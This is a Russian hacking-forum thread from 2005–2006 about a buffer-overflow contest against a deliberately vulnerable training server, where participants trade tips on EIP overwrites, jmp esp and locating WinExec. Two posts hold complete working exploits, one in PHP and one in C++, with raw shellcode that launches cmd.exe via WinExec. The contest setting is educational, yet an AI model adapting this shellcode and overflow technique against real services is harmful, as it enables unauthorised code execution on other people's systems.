PDA

Просмотр полной версии : Небольшой конкурс


KEZ
08.04.2005, 14:42
Есть сервер (исходники и бинарник).
Надо написать сплойт (шаблон есть) который выполнит ф-ию fl() на сервере. Или запустит лок. шелл. Или повесит шелл на какойто порт.
Скачайте архив там есть подробное описание.

KEZ
08.04.2005, 18:21
Ну что нет комментариев?

Dmitro
08.04.2005, 19:05
Круто )))
А я в этом ниЧё не понимаю.....

KEZ
09.04.2005, 10:47
Похоже мало народу которые в этом понимают

mikrobx
09.04.2005, 11:05
да
я понимаю но зачем мне это ?!

KEZ
09.04.2005, 11:12
Попробуй свои знания... Докажи что разбираешься

SpiderX
09.04.2005, 11:34
КЕЗ я попытаюсь, но честно говоря C++ хреновейше знаю!
Но кто не стучит тому не открывают =)))

KEZ
09.04.2005, 11:42
C++ не так важно как технология переполнения

SpiderX
09.04.2005, 11:44
Буду разбираться!

sosk4
09.04.2005, 13:20
отослал....

RevenAnt
09.04.2005, 16:26
Ну и я тоже сделал и отослал =)))
Просто но со вкусом ;)

З.Ы. Привет всем ;)

sosk4
09.04.2005, 16:49
Там на самом деле все просто... даже думать не надо =) могу написать тутор для вызова функции fl()

KEZ
09.04.2005, 19:03
Забыл сказать... Кто сделает будет в Элите

KEZ
09.04.2005, 19:04
Хотя это и не так как делал я ... Но sosk4 сделал правильно...
Он В элите будет

KEZ
09.04.2005, 19:08
Так RevenAnt тоже сделал...
Он тоже в элите... Я буду ждать ещё ответы... А потом напишу тутор по вашему способо и моему... (Мой с jmp esp)

sosk4
09.04.2005, 19:35
thx. я хотел сделать чтоб он локальный шелл давал, но стало впадлу возится с нахождением адреса winexec... а так вообще все элементарно...

RevenAnt
09.04.2005, 19:46
thx =)

KEZ
09.04.2005, 19:56
берем отладчик и пишем команду call WinExec и он ее переводит
в call [АДРЕС]

попробуйте ради интереса сделать шелл

Morph
10.04.2005, 15:55
Товарищи подскажите пожалуйста как CALL [40f0e8h] вот это к примеру перевести вот в это 0xff 0x15 0xe8 0xf0 0x40 0x00 ?
Буду очень благодарен.

Morph
10.04.2005, 16:05
Нифига про это не знаю кроме того что буфер взрывается от кол-ва помещеного в него инфы.
И если можно дайте програмку чтобы коневртировать плизз.
И если знаете где лежит можно и линк на нее.
Заранее пасиба

=UMK=
10.04.2005, 21:34
Блин я не пойму по какому адрессу находиться fl()

то ли по 00401090 или по 004010AD или по другим

KEZ
11.04.2005, 17:17
=)

придется писать статью

Morph
11.04.2005, 18:04
НЕееет не надо погоди умоляю не пиши!!!!!!!!!!

RevenAnt
12.04.2005, 08:31
..гы... есть шелл ;) тока на серваке =(
...сервак падает, и открывает шелл =)
...буду дальше мучать ету идею ....

KEZ
12.04.2005, 15:56
Если в окне сервера остается шелл, все ОК.
Но у тебя просто окно закрывается...
Используй Jmp Esp

Ekstazi
13.04.2005, 19:37
Блин, пытаюсь внедрить шелл-код в стэк, но Windows 98 почему-то портит содержимое стэка =(((, а выше границы стэка я не могу ничего запихать, так как нельзя использовать 0 =(((, но сама функция fl уже вызывается......, пытаемся дальше....

TiX
14.04.2005, 23:53
Exploited ;)

sosk4
15.04.2005, 16:37
Блин я не пойму по какому адрессу находиться fl()

то ли по 00401090 или по 004010AD или по другим

по 00401090 насколько я помню

RevenAnt
15.04.2005, 17:37
дааа...... buffer overflow - очнь важная техника ....
её надо знать и уметь юзать ..... =)

Morph
15.04.2005, 19:56
А я зделал радости полные штаны =))))))))

Morph
15.04.2005, 19:57
Только шелл не могу запустить где Winexe находить?

Morph
16.04.2005, 20:48
Kez Ты получил мой сплоит?

TiX
16.04.2005, 21:52
там всего 100 байт ... туда хрен засунеш шеллкод... только если хард кодед винексек.... или так называемый Staged шелкод... но писать у меня нету времени

KEZ
16.04.2005, 22:38
сто байт - только те что заполнят буфер
а после него еще примерно 25 - уже переполнение из них 4 на Ebp и + 4 на Eip

ProTeuS
17.04.2005, 05:08
сто байт - только те что заполнят буфер
а после него еще примерно 25 - уже переполнение из них 4 на Ebp и + 4 на Eip

сплоит для полу4ения локального шелла ушел на мыло.

Кстати, мой шелл-код занял всего 16 байт ;)

TiX
17.04.2005, 21:39
Кстати, мой шелл-код занял всего 16 байт

если там хард кодед... оффсет то он не всегда работать будет даже на локальной машине так как после каждого реюута в НТ буйсед системах ImageBase меняется.. придется подгонять генерик оффсет файндер а это не меньше 60 байт... winexec еще можно приделать... но бинд шелл уже никак :(

fra_f
19.04.2005, 00:03
как из винды выташить WinExec адрес?

KEZ
19.04.2005, 11:33
Адреса зависят от базы по которой загружена kernel32.dll
Насчет адреса - БЕРИ отладчик OllyDBG: goto->expression WinExec

KEZ
19.04.2005, 11:34
И не получится у вас bindshell

TiX
19.04.2005, 17:17
кстати можно проще выловить offset WinExec

printf("%X\r\n", GetProcAddr(LoadLibrary("kernel32.dll"), "WinExec"));

:)

badboy
21.04.2005, 00:16
KEZ выложи оба видео по этой теме.Как у тебя удалось и как у Morph.Просто интересно помотреть,а в Си я вообще не силён.

Morph
21.04.2005, 06:50
KEZ выложи оба видео по этой теме.Как у тебя удалось и как у Morph.Просто интересно помотреть,а в Си я вообще не силён.
Народ придет и КЕЗ зделает как я прально понял, а то се равно народу мало.

KEZ
21.04.2005, 15:12
народу много я статью сделал... сегодня будет наверное опубликована...
видео чуть позже будет

Ekstazi
21.04.2005, 16:56
Kez пожалуйста, не публикуй статью, ф-ию я запустил, осталось шелл запустить, чверез пару дней опубликуй, пожалуйста........

cha0s
21.04.2005, 17:13
Kez пожалуйста, не публикуй статью, ф-ию я запустил, осталось шелл запустить, чверез пару дней опубликуй, пожалуйста........

это точно, имхо лучше пока не публиковать.
или если все таки соберешся - придумай новое задание..
это -- как 2 байта, вот только биндшелл добью.

кто говорил что нельзя биндшелл...?

Ekstazi
21.04.2005, 20:39
Что хорошо, что ф-ии работы с сокетами и loadlibrary, getprocadress(kernel32) есть в таблице импорта =)))

KEZ
21.04.2005, 21:04
getprocaddress(kernel32) - это нетрезвый бред обкурившевогося крякера )) =) шутка

ну повесь биндшелл

dinar_007
23.04.2005, 13:51
А приз какой?

badboy
23.04.2005, 14:27
Kez ни как не могу дождаться статьи или видео.Просьба можешь мне скинуть на мыло или в Pm.Или хотя бы давай уже выкладывай его на сайт.Прошу.

RevenAnt
23.04.2005, 17:25
...гы.... какой ещё приз??? просто в "элиту" .... мене хватит,
тем более - шо вызов функции - то шо надо было сделать по стандарту - ваще нефиг делать ..... тока надо прочесть страницы две А4 и понять, и осмыслить ....... ну или иметь опыт .... =)))
P.s.
тоже жду статьи =) - ето так - к слову =)))

sosk4
23.04.2005, 17:33
А что такое элита? ;)

WeKSTiK
23.04.2005, 18:30
Жду статьи.( Может я сам и сделал бы ,да только я ни разу ничего подобного не делал)
Так что пора уже статью выкладывать...

badboy
24.04.2005, 00:40
Kez СТАТЬЮ ПРОШУ!!!!!!!!!!!!

Ekstazi
25.04.2005, 11:05
А я понял, как расширить кадр стека!!!!!!!!, шелл код влезит !!!!!, но вот, если мне не будет влом писать биндшелл под 98-й, то напишу.... ;)

FoX's
25.04.2005, 11:22
Лутче бы квест сделали.... Я например C вообще не знаю..

WeKSTiK
25.04.2005, 22:54
А вообще на какое время планируется выход статьи???

XTiger
25.04.2005, 23:15
Kez, давай уже статью, а лучше видео. У меня все-равно прога заглючила.

cha0s
26.04.2005, 06:10
все... биндшелл готов ;)

RevenAnt
27.04.2005, 00:16
да ну? шо честно?

XTiger
27.04.2005, 00:32
Kez, статью очень хочется!!!!!!!!!!!!!!!!!!!!!

KEZ
27.04.2005, 18:45
Да знаю я, Егор немного медлит со статьей...
Там будет часть 2 про bindshell!

XTiger
27.04.2005, 23:20
:)) Похоже, Егорыч не о переполнении буфера, а о взломе Пентагона статью пишет.

Kez, а видео будет???????????????????

cha0s
28.04.2005, 02:56
м-да... детский сад!
ладненько, я уже отправил биндшелл KEZу на почту.
ну что, кто нибудь еще?
если у кого есть конкретные вопросы по иньекции биндшела, спрашиваете прямо сдесь.
всем остальным http://www.google.com/search?q=buffer+overflow

cha0s
28.04.2005, 21:09
аууу... где все? что, неужели всем стало резко не интересно?

XTiger
28.04.2005, 23:43
cha0s, мне ужасно интересно, но без наглядного примера я не могу понять, как это делается.

fra_f
29.04.2005, 18:58
Народ подождите с Видео очень хочется до всего самому допереть....

Ekstazi
29.04.2005, 20:20
cha0s, биндшелл я пишу, но мне усердия не хватает, в моём варианте, я даж ESP и EBP в конце как надо ставлю....., а ещё я решил разбить шелл код на несколько частей:
1) Изменяет код функции test, чтобы изменить команды работы со стеком в ней(кадр стека больше будет...), славо богу есть ещё и область для align, туда мона свой код запихать...
2) После того как первый шеллкод, всё это сделал, мы посылаем второй шеллкод.... - биндшелл

cha0s
30.04.2005, 08:24
Изменяет код функции test

интересно... если функция тест в секции .text которая READABLE | EXECUTABLE
как же ты что-то в ней меняешь...
разве что в исходнике, но это не интересно

cha0s
30.04.2005, 08:26
и главное ЗАЧЕМ?
всеравно в запросе ты можешь передать только ~120 байт кода
зачем же мучать кадр стека функции тест

KEZ
30.04.2005, 09:26
чтото тут ерунду пишут... вообщем мы с cha0sом сделаем статью. я может видео.
я про основы, вызов ф-ии и лок шелл. а он про бинд шелл...

кстати не 120 байт а 122 байта передать можно...
cha0s, тут неразбериха получается, мы ж договорились про статью...

пиши пока я тоже буду

slave
01.05.2005, 00:06
прикольный конкурс :) , тока с елитой прогнали конкретно, ето же детский сад
"...УУУ а я 31337..." :d

RevenAnt
01.05.2005, 12:37
так шо, реально бинд уместить в 120+ байт?

BNF
02.05.2005, 00:13
кстати, а че такое бинд? :d

slave
02.05.2005, 18:29
Для тех кто очень хочет но неможет:

Intro_to_Win32_stack_overflows.pdf (http://phr34k.game-host.org/ebook/)

Простите если ето както нарушает условия конкурса.

KEZ
02.05.2005, 18:41
да не... только один человек пока сделал bindshell

никто не говорил что в 122 байта... там два раза посылается...
скоро вы все увидите...

RevenAnt
03.05.2005, 10:09
два раза посылаеться???
=[___________]
хочу ето увидеть....... =)
и понять =)

XTiger
04.05.2005, 00:03
А у меня клиент не подключается к порту. Kez, чё делать??

fra_f
05.05.2005, 18:49
Разбираюсь с документацией (http://phr34k.game-host.org/ebook/)
наткнулся на такую хрень.
Там есть тутор по переполнению War-Ftpd.... но когда я отсылаю
USER AAAAAAAAAAAAAAAAA~~~ (800 bytes)
не чего не происходит вначале думал мало байтов, потом заметил
что сервер не понимает что я хочу от него у меня такое чувство что я
что то не досылаю.
Посмотрел в готовом сплойте там в конце посылается \r\n, пробовал
не помогает... насколько я понял нужно как то указать что запрос закончен чтобы
сервак начал его обрабатывать а как я не знаю... прошу помощи

KEZ
06.05.2005, 13:19
Сейчас у cha0sa нет времени, ждите... Он должен сделать bindshell...

r0ks1
06.05.2005, 16:24
а тут про Buffer Overflow написано =)
тока на инглише...=(
http://collegebums.org/?p=15

badboy
08.05.2005, 15:22
БЫСТРЕЙ Kez СТАТЬИ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! МОЖНО СТОЛЬКО ЖДАТЬ?!?!?!?!Я УЖЕ УСТАЛ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!ПРОШУ СТАТЬЮ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!А РАЗВЕ ВИДЕО-ДЕМОНСТРАЦИЯ НЕ МЕНЬШЕ БЫ ВРЕМЕНИ ВЗЯЛА????????????

KEZ
08.05.2005, 20:13
я же сказал, что cha0s медлит я уже написал

badboy
08.05.2005, 21:52
Ну а когда будет примерно всё готово.То Егор кинул (вот это я НИКОГДА не говорил, я сказал что он был занят - прим. кез) ,то этот медлит.

fra_f
09.05.2005, 13:11
а мне нравится что Kez медлит я успел допереть сам (не до шелла пока конечно)
.... много чего еще понял по пути к победе... ;)

XTiger
11.05.2005, 01:44
Слушайте, кто-нибудь уже шелл заклепал??
А то я уже...
А вот кто бы мне помог его на порт повесить?? Ниче не получается.
Если кто повесил, отпишите пожалуйста. Мне интересно, в чем моя ошибка.

KEZ
11.05.2005, 12:59
все там получается. хотя не скажу что это очень просто...

KEZ
17.05.2005, 23:15
Вашу... Я же немогу выложить то что я написал, НЕ ПОКАЗАВ как сделать bind

XTiger
17.05.2005, 23:32
ну так чё там с переполнением буфера и внедрение шел кода?
Да за это время можно было 500 раз переполнить и шелл написать.

XTiger
24.05.2005, 00:39
Что-то затихли все...
Что статья уже вышла??

nst
24.05.2005, 15:45
<?
# fl - Вызов функции fl()
# cmd - запуск командного интерпретатора - cmd.exe
$overflow = "cmd";

# WinExec адрес - kernel32.dll
# Чтобы достать адрес WinExec, качаем прогу:
# http://nst.void.ru/download/arwin.exe
# Usage:
# arwin.exe kernel32.dll WinExec
# Result: WinExec is located at 0x7c86114d in kernel32.dll
# # # # # # #
# WinXP -
# WinXP sp1 -
# WinXP sp2 - \x4D\x11\x86\x7C (7C86114D)
# # # # # # #
# Win2k sp1 -
# Win2k sp2 -
# Win2k sp3 -
# Win2k sp4 -
# # # # # # #
# Win98 -
# Win98 SE -
# # # # # # #
$winexec_addr = "\x4D\x11\x86\x7C";


# exploit
$srv = fsockopen("127.0.0.1", 8877);

if($overflow=="fl") $eip = "\xA8\x10\x40\x00";

if($overflow=="cmd") $eip = "\xC4\xFE\x12\x00";

for($i=0; $i<77; $i++) $nop .="\x90";
$nst = "waaaaa".
# cmd
"\x33\xC0\x50\x68\x43\x4D\x44\x20\x54\xB8".
$winexec_addr.
"\xFF\xD0\xEB\xFE".

$nop.
"AAAA". # EBP
$eip; # EIP

fwrite($srv, $nst);
print "Shellcode length:".strlen($nst);
?>

fra_f
28.05.2005, 23:20
Да эт не интересно, вот бы посмотреть как два раза отослать код и сделать bins shell
может ктонить урлом на доку поделится?

cha0s
01.06.2005, 18:18
давно я тут не был - было много дел..
но уже все позади, теперь думаю тема начнет развиваться быстрее

nst
16.06.2005, 11:00
некакой активности..

KEZ
16.06.2005, 11:05
Раз вопрос подняли, скажу.
Я уже доделал статью. Осталось только убрать оттуда мат и смайлики )) т.к. писал я ее ночами. Сплойт для bindshella тоже готов. И мой и cha0sa.
Так что осталось чуть чуть. (Извините что так торможу)

nst
19.06.2005, 09:50
по любому тормаз )

nst
20.06.2005, 18:45
ну париш, давай выкладывай

ProTeuS
21.06.2005, 02:15
ДА, ато заждались уже!

nst
21.06.2005, 22:06
да он парит, тянит чегота.. уже всё готова, и нехрена невыкладывает

fra_f
23.06.2005, 02:33
сам бинд инфу нарыть можно.... но мне интересно что значит посылается 2 раза....
как тогда с памятью работать что это будут за адреса?...

nst
27.06.2005, 10:57
__кез

fra_f
28.06.2005, 13:20
ждемммм..................

nst
03.07.2005, 01:28
after 40 years ..

KEZ'ovi4.. ну, чёё...... старики.... я вот вспомнил что должен был выложить статью и мувик, но я забыыыыл.. тьяп..тьяп..тьяп.. ..... .. эээ... а по что я? что я только что говорил?.. ай ладно пойду передачю Фортачки посматрю.. Старуха ниси жрать! Тут кино наченается!! ОК мой дорогой.. уже бигу.. (посккрипивая костями..)

KEZ
04.07.2005, 22:56
Статья доделана. Дня через три повесим. (Пока будет ещё статья Задохлика).
конечно будет биндшелл и расказ (от меня, чаос пропал) как его сделать

Rabid Rabbit
09.10.2005, 04:30
Хм, жаль я немного при*****л:) Давненька не был в ваших краях, аднака... Вощем КЕЗ те грили ужо ниаднакратна чо крива пишиш. Павтаряца нибуду:) Аднака мне видица чо и думаишь ты тожа крива (ну или нестандартна, если панимать пад этим чо ты ездешь из масквы в питер чериз камсамольск на амуре). Карочи я тут падумал малеха и решил забацать типа два-в-одном:)

//Типа-развивалочка для маленьких: найди дохуя отличий от "Client.cpp" в архиве "overflow.zip" :)
//Впадлу было коментить, ели еть вапросы пачему чота тама сделана так а ни еначе - задывайти,
//могет быть отвечу:) Пару-тройку падсказок аднака расставил:) Сатреть очинь унимательна:)
#include <winsock2.h>
#include <conio.h>
#pragma comment (lib, "ws2_32.lib")

//смиииирна! равнение на параграф! :)
char expl_data[109]="\x8B\x44\x24\xFC\x6A\x05\x83\xC0\x0C\x50\xFF\xD5\x 63\x6D\x64\x20";
//зачении в сигменти данных и так перивернуты->пишим пряма! нахуя было марочица?
int ebp=0x77E6FD35; //А это kernel32.WinExec
int eip=0x00401090; //кхе кхе
#define explsiz sizeof(expl_data)
char expl_size = explsiz;
bool waitfl;
#define progname "overflow_exploit"
//падаждем паддаждем а то нивидна нихера

int cexit(int reason, char* msg){
cprintf(msg);
if (waitfl) {
cprintf("Press any key to exit.\n");
getch();
}
return reason;
}

int main( int argc, char* argv[] ){
WSADATA wsaData;
SOCKET client_socket;
sockaddr_in server_addr;

if(strcmp(argv[0],progname)) waitfl=true; else waitfl=false;

cprintf( "Server.exe TEST EXPLOIT.\nBy [YOU_NICK].\nThis exploit can overflow server cmd_data buffer and execute function fl().\n\n" );
cprintf( "+Starting Winsock...\n" );
if (WSAStartup(0x0202, &wsaData )) return cexit(1,"+Error initialise sockets API...\n");

cprintf( "+Creating client socket...\n" );
client_socket = socket( AF_INET, SOCK_STREAM, 0 );
if (client_socket == INVALID_SOCKET) return cexit(2,"+Error while create socket...\n");

server_addr.sin_family = AF_INET;
server_addr.sin_port = htons( 8877 );
server_addr.sin_addr.s_addr = inet_addr( "127.0.0.1" );

cprintf( "+Connecting to 127.0.0.1 on port 8877...\n" );
if (SOCKET_ERROR == connect(client_socket, (LPSOCKADDR)&server_addr, sizeof( server_addr )))
return cexit(3,"+Error while connection...\n");

cprintf( "+Sending exploit codes %d bytes\n", explsiz);

memset(&expl_data[16], 0x90, explsiz-9-16);//NOP После отработки fl() упрвление передается на этот код
memcpy(&expl_data[explsiz-9],&ebp,4);
memcpy(&expl_data[explsiz-9+4],&eip,4);
expl_data[explsiz]=0;

send( client_socket, &expl_size, 1, 0 );
send( client_socket, expl_data, explsiz, 0 );
shutdown(client_socket, 2);
closesocket(client_socket);
WSACleanup();
return cexit(0, "OK\n");
}



интересно... если функция тест в секции .text которая READABLE | EXECUTABLE
как же ты что-то в ней меняешь...
разве что в исходнике, но это не интересно

Да, бля, песец как интересна:) Но увы не мне. Тебе же придеца доучить пратектид моду. К сегменту кода мона обращацы чериз селектор сегмента даных патамушты ни мелкасофт ни багленд нихера не хатят прислушиваца к рекаминдациям интел и даже силектар стека указываит на тот же физ адрес. Канкретнее: ss==ds!=cs, но физ адрес и ds cs адин и тот жи, в чом моно убидица пасатрев ЛДТ. Пасему если хошь пиризаписать cs:XXXXXXXX то эта делаица легко, напр. так: mov ds:[XXXXXXXX], 12345678h

P.S. Ничо чта так падробна? Эта у миня проста планавае мераприятие па барьбе с ламерствам:) Даешь песать статьи граматна андака! А у каго у вас ищо есть план? Тады мы идем к вам!:)

Rabid Rabbit
09.10.2005, 04:36
Гмы, у первам предлажении я вощем папытался выразить мыслю чо сажалею в связи с тим чо нимного припизднился/пропизднился/апаздал кароче ...

Minimax
19.03.2006, 09:25
а че такое? скачал ваш архив, начал распаковывать. Выдает ошибку в Crc

D1mOn
19.03.2006, 10:47
мдя...